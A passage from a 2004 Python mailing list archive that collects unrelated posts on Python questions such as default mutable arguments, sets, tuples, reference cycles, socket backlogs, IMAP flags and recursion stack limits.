[1, 2, 3]

always the list which had been created when the function was defined
gets used.  You see that if you change the definition a bit.

>>> def myfunc (item, lst = []):
...     lst.append(item)
...     print id(lst)
...     return lst
... 
>>> myfunc(1)
10484012
[1]
>>> myfunc(2)
10484012
[1, 2]
>>> ##but
... myfunc(1, [])
10485068
[1]
>>> myfunc(3)
10484012
[1, 2, 3]


That may be what you want.

Another option is a closure.

>>> def make_func ():
...     lst = []
...     def func (item, lst = lst):
...         lst.append(item)
...         return lst
...     return func
... 
>>> myfunc = make_func()
>>> myfunc(1)
[1]
>>> myfunc(2)
[1, 2]
>>> 



   KP

-- 
You know you've been sitting in front of your Lisp machine too long
when you go out to the junk food machine and start wondering how to
make it give you the CADR of Item H so you can get that yummie
chocolate cupcake that's stuck behind the disgusting vanilla one.


From vedranfREMOVE at riteh.hr  Sat Feb 21 19:37:32 2004
From: vedranfREMOVE at riteh.hr (Vedran Furac)
Date: Sun, 22 Feb 2004 00:37:32 +0000 (UTC)
Subject: call a function every n mseconds
Message-ID: <slrnc3fuec.8pk.vedranf@rijeka.riteh.hr>

How can I call a function every time a specified number of milliseconds
elapses? Javascript has setInterval() function and I need something like
that. Currently I use this:
def function():
	[...]
	t = threading.Timer(n, function)
	t.start()
function()


From stewart at midtoad.homelinux.org  Sat Feb 28 23:02:27 2004
From: stewart at midtoad.homelinux.org (stewart)
Date: Sun, 29 Feb 2004 04:02:27 GMT
Subject: \w in regular expression
References: <mailman.252.1077999263.8594.python-list@python.org>
Message-ID: <nvd0c.645143$ts4.141633@pd7tw3no>

Marcello Pietrobon wrote:

> I also noted that the tools\scripts\redemo.py behaves different than the
> Python command line ( it is not the only case )
> because it matches 'This' when I use \w+  and not when I use \W+

This doesn't sound like an error to me. \w+ matches all lowercase and
uppercase letters, and numbers, while \W+ matches everything else. So of
course 'This' will be matched by \w+ and not by \W+.    It sounds like your
impression was that \w+ matched only lowercase letters, which is not the
case.



From erno-news at erno.iki.fi  Tue Feb 24 09:40:04 2004
From: erno-news at erno.iki.fi (Erno Kuusela)
Date: 24 Feb 2004 16:40:04 +0200
Subject: Session CGI!
References: <ba129ce7.0402211010.231375d7@posting.google.com>
	<30260531.0402211543.d810721@posting.google.com>
	<ba129ce7.0402220052.283012ce@posting.google.com>
Message-ID: <gu4vflwilrv.fsf@ee.oulu.fi>

johng2001 at rediffmail.com (John) writes:

> > You could use cookies and/or database writes.
> 
> Sadly that is what I want to avoid :-(

see here: http://www.catdancers.com/webmags/webtech/1998/03/perl/

it's about perl, but you can apply the idea to python too.

  -- erno


From FBatista at uniFON.com.ar  Fri Feb  6 15:32:41 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Fri, 6 Feb 2004 17:32:41 -0300 
Subject: Total noob question re: python icon
Message-ID: <A128D751272CD411BC9200508BC2194D033835B7@escpl.tcp.com.ar>

ArtDent wrote:

#- I read that this language has nothing to do with big 
#- reptiles, so how come
#- the icon shows a snake?

What is a python?

.	Facundo





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From missive at frontiernet.net  Tue Feb 10 16:16:07 2004
From: missive at frontiernet.net (Lee Harr)
Date: Tue, 10 Feb 2004 21:16:07 GMT
Subject: communicating with Java (from Python)
References: <c0a1tu$vue$1@hyppo.gu.net>
Message-ID: <slrnc2iigm.as5.missive@homer.easthighschool.net>

> I want to communicate my Python application with the Java one.
> The most obvious choice is XML-RPC, but ... I wonder about something 
> more pythonic and powerful, like pyro.
>
> Could you suggest something?
>
> Using Jython to be able to use pyro is not technically feasible.
>

I know some work has been done porting twisted's perspective broker
(PB) to java. That could be an interesting way to go.



From __peter__ at web.de  Wed Feb 11 17:22:21 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 11 Feb 2004 23:22:21 +0100
Subject: sets and subsets
References: <c0e4g3$r1$1@solaris.cc.vt.edu> <c0e8g4$4fi$03$1@news.t-online.com>
	<c0e8sa$7gs$1@solaris.cc.vt.edu>
Message-ID: <c0e9uu$41u$00$1@news.t-online.com>

Bart Nessux wrote:

> Peter Otten wrote:
>> Bart Nessux wrote:
>> 
>> 
>>>By using lists, I can create sets of number. Suppose I have three lists.
>>>One list is the super-set, one is a set that contains all the numbers
>>>(just like the super-set) and the last is sub-set of the super-set. For
>>>example:
>>>
>>>a = [1,2,3,4,5]       # The super-set.
>>>b = [1,2,3,4,5] # Looks just like the super-set, but it's not.
>>>c = [2,4]     # A sub-set
>>>
>>>I'd like to remove 2 & 4 from set b BECAUSE they are present in set c...
>>>this would make the sets look like this:
>>>
>>>a = [1,2,3,4,5]
>>>b = [1,3,5]
>>>c = [2,4]
>>>
>>>How do I test set c to find what it contains and then look at set b to
>>>see if it contains any of those same numbers, and if so, remove them.
>> 
>> 
>> You want set operations, so why would you use lists?
> 
> All my data are in lists:

All my beer is in sieves.

> 
> inputFile = file('ips.txt', 'r')      #Super-set
> include = inputFile.readlines()
> inputFile.close()
> 
> # The file below is compiled manually by hand... add IPs to it
> # whenever you want to exclude them from IP_protection.
> readFile = file('excluded_ips.txt', 'r')      #Sub-set to exclude
> exclude = readFile.readlines()
> readFile.close()
> 
> include = [x for x in include if x not in exclude]    #Magic of Elaine
> 
> outputFile = file('pruned_ips.txt' , 'w')
> for i in include:
>     print>> outputFile, i,
> outputFile.close()

(untested)
from sets import set

inputFile = file('ips.txt', 'r') #Super-set
include = Set(inputFile.readlines())
inputFile.close()

readFile = file('excluded_ips.txt', 'r') #Sub-set to exclude
exclude = Set(readFile.readlines())
readFile.close()

# No Magic of Elaine

outputFile = file('pruned_ips.txt' , 'w')
for i in include - exclude:
    print >> outputFile, i,
outputFile.close()

Peter


From pruebauno at latinmail.com  Tue Feb 24 14:24:34 2004
From: pruebauno at latinmail.com (nnes)
Date: 24 Feb 2004 11:24:34 -0800
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
Message-ID: <d8778a53.0402241124.20046541@posting.google.com>

PPNTWIMBXFFC at spammotel.com (Marco Aschwanden) wrote in message news:<15c2d03b.0402240311.395f5382 at posting.google.com>...
> Hi
> 
> I don't have to talk about the beauty of Python and its clear and
> readable syntax... but there are a few things that striked me while
> learning Python.
> 
> I have collected those thoughts. I am sure there are many discussions
> on the "problems" mentioned here. But I had this thoughts without
> looking into any forums or anything... it is kind of feedback.
> 
> Thanks for this marvellous language,
> Marco
> 
> 
> 
> *** Problem: clumsy static class methods
> 
> In order to create a static method we have to use a the builtin
> staticmethod(function):
> 
> class C (object):
>     def f(arg1, arg2, ...): ...
>     f = staticmethod(f)
> 
> Why? The speciality of a "static" method is: It has no access to any
> instance vars. The following class is easier to read and understand
> what a static method is about... as a positive side-effect: self is
> not available and it can't be used!
> 
> class c (object):
>     def staticMethod(arg1, arg2, ...):
>         # self is not handed in... hence I can't use the instance vars
>         pass
>     def normalMethod(self, arg1, arg2, ...):
>         pass
> 
> There is no need for the builtin... as I understand it: the builtin is
> a workaround...
> 
> 
> 
> *** Problem: clumsy properties for classes
> 
> property( [fget[, fset[, fdel[, doc]]]]) 
> 
> class C(object):
>     def getx(self): return self.__x
>     def setx(self, value): self.__x = value
>     def delx(self): del self.__x
>     x = property(getx, setx, delx, "I'm the 'x' property.")
> 
> 
> I don't like this one either. It is not necessary because it describes
> something that should be clear by looking at the class/code. A
> convention would make the syntax clearer and more intuitive and by
> looking at the definition of a method you would know: This is a
> getter, setter or deleter. My proposal:
> 
> all getters start with __get__
> all setters start with __set__
> all deleters start with __del__
> 
> If someone uses:
> 
> prop.x = 5
> 
> Python checks whether the var 'x' exists on prop. If it does - it is
> set. If it doesn't exist Python checks for '__set__x' if it doesn't
> exist either... a AttributeError is raised:
> 
> 
> class PropertyExample(object):
>     """A demonstration class for the property idea.
> 
>     This class is used afterwards as follows:
>     prop = PropertyExample()
>     prop.x = 5 # __set__x(self, 5) is called behind the scenes
>     print prop.x # __get__x(self) is called behind the scenes
>     del prop.x # __del__x(self) is called behind the scenes"""
> 
>     def __init__(self):
>         self.__x = None
>         
>     def __del__x(self):
>         del self.__x
>     def __get__x(self):
>         return self.__x
>     def __set__x(self, value):
>         self.__x = value
> 
> 
> 
> *** Problem: Many builtins are not necessary
> 
> Many builtins are not necessary. To name a few: min / max / len
> 
> This functions should be defined on the class:
> 
> ["I", "like", "Python"].len()
> "I".len()
> {1:"I", "2":"like", 3:"Python"}.len()
> (1,2,3,4).len()
> 
> "Throwing away" this builtins would flatten the alreay flat learning
> curve once more (you don't have to learn that many builtins) ... these
> functions belong to the class and they are naturally expected there.
> One weakness of a language as (Visual)Basic, PHP, ... is its payload
> of available functions... Python's OO helps here to diminish the need
> for lots of functions.
> 
> 
> *** Problem: tuples are not necessary
> 
> Throw them away in the long run - for now make them depracted. It is
> hard to argue in favour of tuples. There might to 2 reason:
> 
> 1. It is MUCH faster than a list
> 2. We can't live without an immutable list
> 
> Cons:
> 
> 1. I don't think that tuples deliver a big performance gain.
> 2. Python makes so many "soft" conventions (eg.: don't use
> vars/methods with 2 leading underscores) but when it comes to tuples
> the immutable issue is very important... why? I hope the tuples will
> disappear in P3K.
> 
> 
> *** Problem: builtins list() dict() ...
> 
> A list, a dictionary, a str, an int, a float are builtin functions...
> 
> myList = list()
> myDict = dict()
> myString = str(45)
> 
> The list-function instantiates a new list... it is actually nothing
> but an overloaded List class. Why are the handed in as functions? In a
> OO environment it should be more the instatiation of a class rather
> than a function and classes start with an uppercase letter:
> 
> myList = List()
> myDict = Dict()
> myString = String(45)

I agree with you in all but that tuples are not
necessary. Lists are the ones that are actually a
hack for speed! :-)

In fully functional languages you would operate on your
list with something like:

lst=[1,2]
lst=lst.append(3)
lst=lst.sort()
lst=lst.reverse()
lst=lst.insert(2,3)

count=lst.append(3).sort().reverse().len()

1_ Do not try this at home kids, it will not work :)

2_ Hmm, tuples could grow these methods. Would be
confusing as hell though. >:-}

3_ I prefer reading from left to right instead from right
to left (it makes the parenthesis less confusing too).
Compare to:

count=len(reversed(sorted(appended(lst,3)))).

Maybe I should learn Hebrew :-)
Or we could always change it to

$ lst|append -3|sort|reverse|len

(in the end all are just filter patterns :))

4_ If the python interpreter was smart enough sort()
could return a new list or sort in place depending on the
context: i.e.
lst=lst.sort() eq. lst.sort()
newlst=lst.sort() where lst is never used again eq.
lst.sort();newlst=lst;del lst, etc
but that would be against the pythons philosophy of
keeping the interpreter small, lean and simple.

Inmutable types are usually less "magical" than their
mutable counterpart.

For instance:

>>> lst1=[1,2]
>>> lst2=lst1
>>> lst2.append(3)
>>> lst1
[1, 2, 3]
>>> lst2
[1, 2, 3]
>>> tup1=(1,2)
>>> tup2=tup1
>>> tup2=tup2+(3,)
>>> tup1
(1, 2)
>>> tup2
(1, 2, 3)
>>> 

Do you think a newbie would expect that a modification
on one variable would have a effect on another?


From __peter__ at web.de  Mon Feb  9 17:51:38 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 09 Feb 2004 23:51:38 +0100
Subject: unicode codecs
References: <c08sbk$c4u$1@bagan.srce.hr> <c092j3$mbj$00$1@news.t-online.com>
Message-ID: <c092tq$n1s$00$1@news.t-online.com>

Peter Otten wrote:

>>>> def toiso(s):
> ...     if isinstance(s, unicode):
> ...             return u.encode("iso-8859-1")
> ...     return s
> ...
>>>> toiso(u) + toiso(s)
> 'R\xfcbeR\xfcbe'

Oops, that should be:

>>> def toiso(t):
...     if isinstance(t, unicode):
...             return t.encode("iso-8859-1")
...     return t
...
>>> toiso(u) + toiso(s)
'R\xfcbeR\xfcbe'



From skip at pobox.com  Tue Feb 10 20:33:32 2004
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 10 Feb 2004 19:33:32 -0600
Subject: Python.h problem-> /usr/include/python2.2/longobject.h:48:
 warning: ISO C89 does not support `long long'
In-Reply-To: <20040211011405.GA16073@spawar.navy.mil>
References: <bf23f78f.0402101432.3ccff43c@posting.google.com>
	<16425.25330.886172.548459@montanaro.dyndns.org>
	<20040210231435.GB15796@spawar.navy.mil>
	<16425.31826.535656.7252@montanaro.dyndns.org>
	<20040211011405.GA16073@spawar.navy.mil>
Message-ID: <16425.34412.939768.804813@montanaro.dyndns.org>


    Chris> However, I know in near future all Python integers will be of
    Chris> type "Python long" and there won't be "Python ints" anymore IIRC.

    Chris> I wonder if Python source will still use 64 bit ints then in
    Chris> implementation.

Yes, it still will.  If you peek a bit into the source, take a look at
Include/longobject.h.  You'll see:

    #ifdef HAVE_LONG_LONG
    PyAPI_FUNC(PyObject *) PyLong_FromLongLong(PY_LONG_LONG);
    PyAPI_FUNC(PyObject *) PyLong_FromUnsignedLongLong(unsigned PY_LONG_LONG);
    PyAPI_FUNC(PY_LONG_LONG) PyLong_AsLongLong(PyObject *);
    PyAPI_FUNC(unsigned PY_LONG_LONG) PyLong_AsUnsignedLongLong(PyObject *);
    PyAPI_FUNC(unsigned PY_LONG_LONG) PyLong_AsUnsignedLongLongMask(PyObject *);
    #endif /* HAVE_LONG_LONG */

These declarations allow long long integers to be converted to Python long
integers.  (There are other similar uses in the source code.)  Those sorts
of conversions will still be desirable even after the int->long merger is
complete.  As Tim pointed out 'long long' is in C99, so over time, this sort
of usage will become more mainstream.

Skip



From jzgoda at gazeta.usun.pl  Thu Feb  5 15:04:34 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Thu, 5 Feb 2004 20:04:34 +0000 (UTC)
Subject: gettext in windows
References: <pan.2004.02.05.19.33.31.261102@tux.org>
Message-ID: <bvu7kh$44e$1@atlantis.news.tpi.pl>

StasZ <stasz at tux.org> pisze:

> I have some programs which are developed on Linux and uses gettext for
> the language support.
> While they run without problem on a win32 platform i haven't a clue how
> to get the gettext stuff working.
> Also locale settings are different.
> 
> Can somebody give me some pointers on how this sort of thing is
> implemented in windows?
> I must also confess that i have problems installing GNU/gettext on windows
> I'm quite clueless on windows :-) 

You need gettext + iconv, get it from GNU site. Unpack zip archive to
any directory according to your taste (c:\gnu seems to be reasonable
proposition), then add (install-dir)\bin directory to PATH.

-- 
Jarek Zgoda
Unregistered Linux User #-1
http://www.zgoda.biz/ JID:zgoda-a-chrome.pl http://zgoda.jogger.pl/


From Holger.Joukl at LBBW.de  Thu Feb 19 09:36:07 2004
From: Holger.Joukl at LBBW.de (Holger Joukl)
Date: Thu, 19 Feb 2004 15:36:07 +0100
Subject: Problems when destroy object which is referenced member objects
	['LBBW': checked]
Message-ID: <OF4F42C0A7.DB13F8BA-ONC1256E3F.004ED3A1@lbbw.sko.de>

I want to run this code that destroy testB and testB's member object
testA. But no object destroy. I know testA increase testB's reference
count, but why wouldn't python decrease testB's reference count? Had I
do wrong something?
--
 http://mail.python.org/mailman/listinfo/python-list

 Hi,
the refcount _is_ actually decreased by python, as you can see if you add
some code:

Python 2.3.3 (#12, Feb 19 2004, 11:42:09)
[GCC 2.95.2 19991024 (release)] on sunos5
Type "help", "copyright", "credits" or "license" for more information.
>>> class TestA:
...     def __init__(self):
...         print "init TestA"
...     def __del__(self):
...         print "del TestA"
...     def SetEvent(self, event):
...         self.event = event
...
>>> class TestB:
...     def __init__(self):
...         print "init TestB"
...         self.testA = TestA()
...         self.testA.SetEvent(self.Test)
...     def __del__(self):
...         print "del TestB"
...     def Test(self):
...         pass
...     def __del__(self):
...         print "TestB.__del__"
...
>>> testB = TestB()
init TestB
init TestA
>>> print testB
<__main__.TestB instance at 0x1a75a8>
>>> import sys
>>> print sys.getrefcount(testB)
3
>>> # 1 more than expected because of testB given as function argument
... # This means after the return of getrefcount(), 2 references on
... # <__main__.TestB instance at 0x1a75a8> exist
... del testB
>>> # refcount is decreased but does not reach zero!

 As the reference count does not reach zero, the object is not destroyed
 (->destructor is not invoked, memory is not deallocated, but name
 testB is destroyed, so it is not accessible any more).
 You have a circular reference here, see python documention.

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From brian at sweetapp.com  Mon Feb  2 14:23:36 2004
From: brian at sweetapp.com (Brian Quinlan)
Date: Mon, 02 Feb 2004 11:23:36 -0800
Subject: ANN: Vancouver Python and Zope User Group meeting
Message-ID: <002001c3e9c2$112aca10$0000fea9@dell8200>

Tomorrow, February 3rd 2004, at 6:00 there will be the usual monthly VanPyZ
meeting. The meeting will be held at ActiveState on 580 Granville Street,
Vancouver.

At this month's meeting we will discuss Python on Mac OS/X, Linux and other
Unices. Topics will include GUI programming, bridging to Objective-C,
Python's POSIX library and wrapping C code with Python.

Cheers,
Brian




From lbates at swamisoft.com  Thu Feb  5 10:13:05 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Thu, 5 Feb 2004 09:13:05 -0600
Subject: hide sourcecode
References: <bvtm5f$pgq$00$1@news.t-online.com>
Message-ID: <dISdnefZ_48dwL_dRVn-jQ@comcast.com>

You could move the .PY file somewhere where
it cannot be seen and leave the .pyc for execution
or you can "freeze" it with py2exe.

-Larry

"Mark Buch" <mark.buch at ewetel.net> wrote in message
news:bvtm5f$pgq$00$1 at news.t-online.com...
> Hi, is it possible to protect the python sourcecode?
> I have a nice little script and i dont want to show everbody the source.
>
> Im using python on a windows pc.
>
> Thank you - Mark
>
>




From gandalf at geochemsource.com  Mon Feb 23 09:03:20 2004
From: gandalf at geochemsource.com (Gandalf)
Date: Mon, 23 Feb 2004 15:03:20 +0100
Subject: pythonservice.exe not found
Message-ID: <403A0828.6090808@geochemsource.com>

Hello! I have installed win32 extensions (version 200) on an XP machine. 
I'm trying to install a new windows service
(written in python) but I cannot find pythonservice.exe on my hard 
drive. How can I obtain it?

Thanks in advance,

    Laci





From andrew-pythonlist at puzzling.org  Thu Feb 19 02:51:38 2004
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Thu, 19 Feb 2004 18:51:38 +1100
Subject: confusion and problems with first socket script
In-Reply-To: <20040219070611.53036.qmail@web61104.mail.yahoo.com>
References: <20040219070611.53036.qmail@web61104.mail.yahoo.com>
Message-ID: <20040219075138.GJ1782@frobozz>

On Wed, Feb 18, 2004 at 11:06:11PM -0800, Hameed Khan wrote:
[...]
> 
> as you can see two connections have been made at one
> after another. and i have specify 1 in listen()
> argument then why two clients can connect to it. i am

Actually, the argument to listen only specifies the number of *queued*
connections, i.e. how many connections can be waiting for a call to accept.

If you want to restrict the number of connections, you need to do this
yourself by accepting then immediately closing any unwanted connections.
(Some protocols specify a way for the server to send a simple "Too many
connections, try later" message before doing this)

-Andrew.




From crothe at zes.com  Wed Feb 11 01:50:49 2004
From: crothe at zes.com (Christian Rothe)
Date: 10 Feb 2004 22:50:49 -0800
Subject: setting email FLAGs in IMAP4 box
References: <mailman.1438.1076450070.12720.python-list@python.org>
Message-ID: <fa63368c.0402102250.7256c6de@posting.google.com>

Many thanks!! What a fool I am. Now it works

Christian

"Tony Meyer" <t-meyer at ihug.co.nz> wrote in message news:<mailman.1438.1076450070.12720.python-list at python.org>...
> >      imap = imaplib.IMAP4("hostname")
> >      imap.login("name","passwd")
> >      imap.select("INBOX",1)
> >      imap.store(1, 'FLAGS', '(\Deleted)')
> 
> You're selecting the INBOX folder as read-only, which means that you can't
> write any changes, including flags, to it.  Doing this:
> 
> >>> import imaplib
> >>> imap = imaplib.IMAP4("hostname")
> >>> imap.login("name","passwd")
> >>> imap.select("INBOX") # read-only defaults to False
> >>> imap.store(1, 'FLAGS', '(\Deleted)')
> 
> Works fine for me, and should for you.
> 
> =Tony Meyer


From ml71 at katamail.com  Tue Feb 17 14:08:40 2004
From: ml71 at katamail.com (DrPike)
Date: 17 Feb 2004 11:08:40 -0800
Subject: ANTI SPAMBOT HUMAN VALIDATION: generare gif da una stringa casuale
	??
Message-ID: <2ca51434.0402171108.1cdbecb6@posting.google.com>

Un saluto a tutti,

premetto che mi sono avvicinato al python relativamente da poco.
Ho cercato un po' in giro ma non ho trovato nessun riferimento al
quesito in oggetto.

Il problema: devo gestire la registrazione di diverse migliaia
di utenti attraverso una form web generata in python. Vorrei 
poter evitare lo 'spambot' inviando all'utente che accede al
servizio una piccola immagine contenente una stringa alfanumerica
casuale, intelligentemente 'distorta' (es. con un disturbo sul
background, una grid o un qualunque altro filtering) in modo da
assicurarmi che colui che siede dall'altra parte sia una persona
fisica e non un programma cretino di spam.
Ovviamente l'utente dovrebbe essere in grado di interpretare
l'immagine, immettere la stringa visualizzata da tastiera, e
ricevere l'autorizzazione per proseguire la registrazione;
altrimenti un bel due di picche e via!
Per l'ultima parte ho gi? qualche idea, ma non so che pesci
pigliare per generare un'immagine da una stringa!

C'? qualche buon'anima che possa aiutarmi?
Grazie per la pazienza di avermi letto fin qui.

DrPike


From andymac at bullseye.apana.org.au  Fri Feb  6 06:19:31 2004
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Fri, 6 Feb 2004 22:19:31 +1100 (EST)
Subject: "ulimit -s" has no effect?
In-Reply-To: <87ad3wx6fg.fsf@dgp.toronto.edu>
References: <877jz2f8l9.fsf@dgp.toronto.edu>
	<bvsndq$q03$00$1@news.t-online.com>
	<87n07xwqi3.fsf@dgp.toronto.edu>
	<mailman.1277.1076026561.12720.python-list@python.org>
	<87ad3wx6fg.fsf@dgp.toronto.edu>
Message-ID: <20040206210806.F50689@bullseye.apana.org.au>

On Fri, 6 Feb 2004, Maciej Kalisiak wrote:

> 1. Is there a test or code snippet that I can run to confirm that this is what
>    ails my system?

A trivial C program can be used to demonstrate:

---8<--- stest.c ---8<---
#include <stdio.h>

int recursion_func(int t1, int t2, int t3);

int main(void)
{
    printf("counter = %d\n", recursion_func(25, 15, 1));
    return 0;
}
---8<------8<-------8<---
---8<--- rfunc.c ---8<---
int recursion_func(int t1, int t2, int t3)
{
    int z1, z2, z3;
    double x1, x2, x3;

    z1 = t1 << 2;
    z2 = t2 << 2;
    z3 = t3 << 2;

    x1 = 3.47 * z1;
    x2 = 1.29 * z2;
    x3 = -2.47 * z3;

    return x1 * x2 - x3 > 1.5e30 ? t3 : recursion_func(++t1, ++t2, ++t3);
}
---8<------8<-------8<---

Note that the recursion function was made more complex than might have
been needed to try to force larger stack frames.  I was also trying to
avoid gcc's optimiser undoing the recursion at higher levels of
optimisation - this worked with gcc 2.95, but gcc 3.3.2 seems to be able
to make this test non-recursive even with -Os ... :-|

On FreeBSD, this is built by

$ gcc -g -O -pthread -c rfunc.c
$ gcc -g -O -pthread -c stest.c
$ gcc -g -O -pthread -o stest stest.o rfunc.o

You'll have to adapt for Linux. Running this:

$ ./stest
Bus error (core dumped)
$ gdb stest stest.core
GNU gdb 4.18 (FreeBSD)
{...copyright stuff elided...}
Program terminated with signal 10, Bus error.
Reading symbols from /usr/lib/libc_r.so.4...done.
Reading symbols from /usr/libexec/ld-elf.so.1...done.
#0  0x80484ce in recursion_func (t1=21846, t2=21836, t3=21822)
    at pthread_recursion_test_aux.c:3
3       int recursion_func(int t1, int t2, int t3)
(gdb)


libc_r is the pthread-supporting libc.

Building without the "-pthread" switch uses the non-threaded libc, which
results in:

$ ./stest
Segmentation fault (core dumped)
$ gdb stest stest.core
{...}
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/lib/libc.so.4...done.
Reading symbols from /usr/libexec/ld-elf.so.1...done.
#0  0x8048530 in recursion_func (t1=1398102, t2=1398092, t3=1398078)
    at pthread_recursion_test_aux.c:16
16              return x1 * x2 - x3 > 1.5e30 ? t3 : recursion_func(++t1,
++t2, +
+t3);
(gdb)


In this case, I know the stack size is 64MB; the ratio t1 values between
the two matches 1MB to 64MB.

> 2. If this *is* the problem, what would be a good workaround?

If you can do without threads, build the Python interpreter that way.

I suggest that you enquire of glibc forums whether there is any way to
tweak the primary thread stack size by some runtime means, otherwise
the only option would probably require changing a library header file and
recompiling glibc :-( (which is what's required on FreeBSD 4.x - don't
know about 5.x).

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac at bullseye.apana.org.au  (pref) | Snail: PO Box 370
        andymac at pcug.org.au             (alt) |        Belconnen  ACT  2616
Web:    http://www.andymac.org/               |        Australia



From bdelmee at advalvas.REMOVEME.be  Tue Feb 24 14:36:50 2004
From: bdelmee at advalvas.REMOVEME.be (=?ISO-8859-1?Q?Bernard_Delm=E9e?=)
Date: Tue, 24 Feb 2004 20:36:50 +0100
Subject: Regular expressions help
In-Reply-To: <6af33541.0402241054.77ae5c61@posting.google.com>
References: <6af33541.0402241054.77ae5c61@posting.google.com>
Message-ID: <403ba857$0$1110$6c56d894@feed0.news.be.easynet.net>

> name fredgeorge
> name georgeharry
> name george
> 
> I'm trying to find a regular expression that matches only the third
> one.

'name george' would do, then ?!? If you mean 'george' on its
own as opposed to the previous variants, that'd be r'\bgeorge\b'.
One nifty tool to learn and experiment with re's is the
tools/scripts/redemo.py script normally present in your python installation.



From mac at dgp.toronto.edu  Wed Feb  4 23:34:00 2004
From: mac at dgp.toronto.edu (Maciej Kalisiak)
Date: Thu, 05 Feb 2004 04:34:00 GMT
Subject: "ulimit -s" has no effect?
Message-ID: <877jz2f8l9.fsf@dgp.toronto.edu>


I use this simple test in Python:

def foo(i):
        print i 
        foo(i+1)
import sys
sys.setrecursionlimit(1000000)
foo(0)

Now, my understanding is that I get the segfault when Python overruns the C
stack.  Naturally the last number printed should go up when I increase the
stack size in the shell before calling Python, by using "ulimit -s <number 
of k>".   But this seems to not be the case.  Whatever value I use with
ulimit, Python always segfaults at the same recursion depth.  Any advice on
how to get things to work proper with this?

 % python -V
Python 2.3.3
 % uname -a
Linux isildur 2.4.24-1-686 #1 ...


From antonmuhin at rambler.ru  Tue Feb 10 06:11:44 2004
From: antonmuhin at rambler.ru (anton muhin)
Date: Tue, 10 Feb 2004 14:11:44 +0300
Subject: Simple newbie question about parameters handling in functions
 (or am I dump or what?)
In-Reply-To: <hqbh20d9k80eccav78bbsku8hciftnbiuq@4ax.com>
References: <hqbh20d9k80eccav78bbsku8hciftnbiuq@4ax.com>
Message-ID: <c0aeg3$15btrh$1@ID-217427.news.uni-berlin.de>

Niki Iv wrote:

> I am totaly new to Python, although I have quite strong developer
> background. Indeed I am evaluating Python to integrate it (Jython) in
> my Java apps... 
> Well this is my first Python day. I am tampering with functions. I
> read that parameters are passed by-value rather than by-reference. So
> function can change wathever parameters reffers to. My troube (well my
> presonal not understanding comes from this)
You're wrong: in Python you pass references to objects.
> 
> Example 1.
> def ChangeList(ListToChange):
> 	ListToChange[1] = "Line B"
Now you change the second element of list that is referenced by 
ListToChange identfier
> 
> MyList = ["Line 1","Line 2","Line 3"]
> print MyList
> ChangleList(MyList)
> print MyList
> 
> Result is quite understandable (as in Pythin Bible is..)
> ["Line 1","Line 2","Line 3"]
> ["Line 1","Line B","Line 3"]
> 
> So now function ChangeList.. is
> (1) def ChangeList(ListToChange):
> (2)	ListToChange[1] = "Line B"
> (3)	ListToChange[2] = "Line C"
> (4)	ListToChange = ["Line X","Line Y","Line Z"]
Attention: (4) rebinds variable ListToChange to new list ["Line X","Line 
Y","Line Z"]. However, statemets (2) and (3) modified 2nd and 3rd 
elements of passed list and you don't see a bug.

> 
> Result is the same (as it suppose to be..)
> ["Line 1","Line 2","Line 3"]
> ["Line 1","Line B","Line C"]
> 
> 
> But now... I am swaping line
> (1)def ChangeList(ListToChange):
> (2)	ListToChange[1] = "Line B"
> (3)	ListToChange = ["Line X","Line Y","Line Z"]
> (4)	ListToChange[2] = "Line C"
And here comes a trap: in (3) you rebind ListToChange and (4) modifies 
new list.

You can use id function to track objects:

(1) def ChangeList(ListToChange):
(2)	ListToChange[1] = "Line B"; print id(ListToChange)
(3)	ListToChange[2] = "Line C"; print id(ListToChange)
(4)	ListToChange = ["Line X","Line Y","Line Z"]; print id(ListToChange)


(1) def ChangeList(ListToChange):
(2)	ListToChange[1] = "Line B"; print id(ListToChange)
(3)	ListToChange = ["Line X","Line Y","Line Z"]; print id(ListToChange)
(4)	ListToChange[2] = "Line C"; print id(ListToChange)

And another note: you may read more on mutable and immutable types as 
well, because it's usual source of confusion for Python newcomers.

And the last note: IMHO, modification of passed parameters isn't really 
Pythonic (again, IMHO) --- it's common thing in C++ and alike languages 
where function can return only single value, but in Python you can 
return multiply values and shouldn't modify passed parameters. Of 
course, there might be situations where modification is really must, but 
I'd try to avoid them.

regards,
anton.


From theller at python.net  Mon Feb  9 10:21:12 2004
From: theller at python.net (Thomas Heller)
Date: Mon, 09 Feb 2004 16:21:12 +0100
Subject: Problem removing win32all (163)
References: <Xns948A8ED0A8A8Cstefninalussinanorg@212.27.42.68>
	<8yjctlgy.fsf@python.net>
	<Xns948A9B48EE42stefninalussinanorg@212.27.42.68>
Message-ID: <1xp4th1z.fsf@python.net>

"St?phane Ninin" <stefnin at alussinan.org> writes:

> Also sprach Thomas Heller :
>
>>>
>>> Is there a clean way to remove the package ? 
>>> Which directories, registry settings, must be cleaned ?
>> 
>> If the uninstall information is missing, you may get it back by
>> *installing* the package again, and then uninstall it.
>> I've used this recipe with several windows products, and in general it
>> works well.
>> 
>
> I have tried, but for some reason, after reinstalling, and uninstalling
> (and re-reinstalling and re-uninstalling, ad lib...),
> in the "Add/remove programs",
> the "Python 2.3 combined Win32 extensions" is still here.
>
> And if I install the new version on top of this,
> then in the "Add/remove software" panel, 
> I will find the two versions.
>
> Maybe this doesnot matter or maybe 
> I should just remove some line in registry ?

IIRC, it should be a subkey of
 HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall

Thomas


From wfolta at netmail.to  Thu Feb 19 15:36:02 2004
From: wfolta at netmail.to (Wayne Folta)
Date: Thu, 19 Feb 2004 15:36:02 -0500
Subject: PEP-315 ("do" loop)
In-Reply-To: <du7hdxmx2r9.fsf@mozart.cc.tut.fi>
References: <mailman.55.1076984559.31398.python-list@python.org>
	<c10dh7$agt$1@news.service.uci.edu>
	<du7hdxmx2r9.fsf@mozart.cc.tut.fi>
Message-ID: <3BBE0480-631B-11D8-88A0-000A959CB2EC@netmail.to>

> Amen to that! I think this is only a matter of education. People
